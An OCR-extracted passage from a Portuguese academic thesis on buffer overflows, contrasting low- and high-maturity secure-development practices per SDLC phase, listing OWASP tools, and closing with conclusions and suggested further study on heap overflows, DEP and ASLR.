detalhada de requisitos é desenhada e verificada pelo cliente.

e Fase de desenho:

o Exemplo de baixa maturidade: Seguindo requisitos vagos, 0
desenho inclui o armazenamento de dados em cache para uma base
de dados local com senha em texto claro inserida no codigo. Dados
confidenciais para acesso a dados (senhas, chaves de acesso, etc.)
sdo passados em texto claro em arquivos de configuracdo. Toda a
comunicacdo entre sistemas backend (voltados a infraestrutura)
acontece sem criptografia. Servidores frontend (voltados a interface
de usuario) utilizando linguagem de requisi¢ées para APl como uma
fina camada entre o sistema de cache e o usuério final. As
requisicbes sdo dinamicamente traduzidas para as diferentes
linguagens utilizadas nas bases de dados, como exemplo a

Linguagem de Consulta de Sistemas ou System Query Language
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(SQL). O acesso a dados internos sao protegidos com autenticacéo
e credenciais fracas para facilitar o processo de desenvolvimento.

o Exemplo de alta maturidade: Baseado em um modelo detalhado de
ameaca definido e atualizado através de codigo, a equipe de
desenvolvimento utiliza:

= Cache criptografado com delecdo automatica;

= Canais de comunicagéo criptografados e autenticados;

» Dados confidenciais protegidos em cofre digital;

» Frontend desenhado com integracdo do modelo de
permissoes;

» Matriz de permissoes;

*» A entrada de dados é tratada como apenas texto e saida de
dados € codificada apropriadamente utilizando bibliotecas
bem estabelecidas.

e Fase de Desenvolvimento:

o Exemplo de baixa maturidade: A equipe de desenvolvimento tenta
construir funcionalidades requisitadas utilizando NodeJS. A
conectividade com sistemas backend € validada através de uma
requisicdo que utiliza padrao inseguro de implementacdo. Todas as
informacBes confidenciais (senhas, chaves de acesso, etc.) sdo
escritas em texto claro diretamente no cddigo fonte. A implantacéo
de novas versbes sao feitas sem versionamento e nédo utiliza
ferramentas apropriadas de repositorio de cddigo;

o Exemplo de alta maturidade: Os membros da equipe de
desenvolvimento tém acesso a extensa documentacao e bibliotecas
de rascunhos de codigo para acelerar o desenvolvimento. O codigo
€ versionado e nunca € colocado em producdo sem revisdo por
pares. A analise de cddigo estatico é realizada diariamente através
de ferramenta automatizada, com triagem de equipe responsavel

pela seguranca.

e Fase de Testes:
o Exemplo de baixa maturidade: A organizacdo responsavel pelo

produto de software disponibiliza o sistema para producdo sem
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testes. Logo apoés isso, a rotina de testes de intrusdo do cliente
revelou falhas profundas que resultam em acesso a elementos do
backend. O esfor¢o requerido para remediacédo € significativo;

o Exemplo de alta maturidade: As funcionalidades da aplicacao
passaram por testes dinamicos e automatizados para cada iteracédo
das etapas de desenvolvimento. Um time capacitado de Garantia de
Qualidade ou Quality Assurance (QA) valida os requisitos de negocio
que envolvem fatores de seguranca. Uma equipe de dedicada a
seguranca aplicou testes de intrusdo adequado e deu a devida
aprovacao.

¢ Fase de Implantacao:

o Exemplo de baixa maturidade: Requisicbes a APIs e outros
componentes aceitavam requisicbes de qualquer agente.
Ferramentas de depuracgéo foram deixadas habilitadas. Caminhos e
diretérios sensiveis em diversos componentes ndo passaram por
configuracdo de gestdo de acesso. Em uma dada ocasido, a equipe
pdde constatar que a aplicacdo foi atacada quando o servidor
apresentou alta carga da unidade de processamento. A resposta ao
incidente foi de desligar o servidor afetado, sem a realizacdo de
investigacao e licdes aprendidas;

o Exemplo de alta maturidade: O sistema de integragédo e entregas
continuas, quando realiza migracdo de ambientes de teste para
producdo, aplica configuracbes adequadas para todos os
componentes. Estas sao testadas periodicamente. Dados
confidenciais sado utilizados apenas na memoéria principal e sua
persisténcia em soluc¢des dedicadas para armazenamento de dados
sensiveis. Todos os pontos de entrada da aplicacado sao protegidos
por solugdes como Firewall para Aplicagbes Web ou Web Application
Firewall (WAF) e prote¢cOes contra ataques de negagéo de servico.
Todos os componentes possuem log das acdes realizadas e esses
sdo monitorados e agregados em dashboards, para que alertas
sejam gerados em caso de evento suspeito, que por sua vez é
definido por métricas bem estabelecidas (nUmero de acessos por

segundo vindo do mesmo endereco, por exemplo). Times de
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resposta a incidente executam eventos de simulacdo
constantemente para reforcar o conhecimento dos processos

envolvidos em eventos reais.

Em suma, conclui-se que ao seguir padroes e procedimentos bem
estabelecidos e utilizando solugbes conhecidas, uma organizagéo consegue atingir
um bom patamar de maturidade em seguranca de informacdo sem que haja uma
alocacdao de recursos tao significativa. Na Figura 32, é possivel observar um diagrama
gue sumariza as principais ferramentas utilizadas em cada estagio do processo de

desenvolvimento.

Figura 32 - Ferramentas para o processo de desenvolvimento

lteration/Release N
Requirements asvs, samm
CTFs, Juiceshop, security champions
playbook et Culture Building
Design » Threat modeling
Juice Shop, *Goat, shepherd Training
Dependency Check, Cheatsheets, Proactive controls
Coding libA, libB, CI/CD tools, Defect Dojo,
Project Glue, Dracon
Testin ZAP, testing guide, Vuln mgmt process, Project Glue,
Metrics 9 Dracon, Defect Dojo
After X iterations
policy gap evaluation ASVS, SAMM, Top 10

Fonte: OWASP in SDLC. [S. 1], 4 maio 2021.
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5 CONSIDERACOES FINAIS

Neste trabalho foram vistos alguns conceitos de seguranca de informacéo e
arquitetura de computadores (secao 2) como base para o estudo de Buffer Overflows,
bem como exemplos da aplicacdo pratica da falha e seu impacto (secdo 3) e
recomendacdes para corrigi-la (se¢édo 4.1 e 4.2). Os topicos discutidos nos capitulos
introdutérios auxiliam na compreensdo de como a falha ocorre, para que, durante o
estudo do trabalho, bem como trabalhos posteriores, o leitor tenha um entendimento
mais completo sobre o assunto e tenha melhor capacidade de proteger diferentes
tipos de sistemas contra ataques de Buffer Overflow.

Os experimentos mostram como 0S ataques ocorrem em cenarios reais,
voltados tanto para ambientes corporativos quanto residenciais, contribuindo para a
importancia dos estudos. Por fim, sdo mostradas algumas técnicas que podem ser
utilizadas para combater a existéncia do Buffer Overflow na raiz do problema: o
processo de desenvolvimento de software.

Se tratando de cenarios reais, especialmente ambientes corporativos, ha uma
série de outros fatores a se considerar além de apenas a vulnerabilidade. Por se tratar
de ambientes em que normalmente h& investimento em ferramentas e técnicas de
segurancga, é possivel esperar que os sistemas e demais componentes, mesmo que
afetados por Buffer Overflow, podem estar parcialmente ou completamente protegidos
contra exploracdo. Como exemplo, € possivel citar uma solucdo conhecida como
WAF, que atua como uma barreira entre as requisicbes Web enviadas pelos clientes
e recebidas pelos servidores.

Assim, seria possivel, teoricamente, detectar sinais de que ha tentativa de
exploracdo de um Buffer Overflow, para que sejam tomadas as medidas cabiveis
(restricao, bloqueio do agente malicioso, etc.).

Como sugestdes de continuidade deste trabalho, tem-se:

e Estudo de Heap Overflows (classe de Buffer Overflow que ocorre na regiao

de alocacéo dinamica de memodaria);

e Prevencédo de Execugédo de Dados ou Data Execution Prevention (DEP);

e Aleatorizacdo da Organizacdo do Espaco de Enderecos ou Address Space

Layout Randomization (ASLR).
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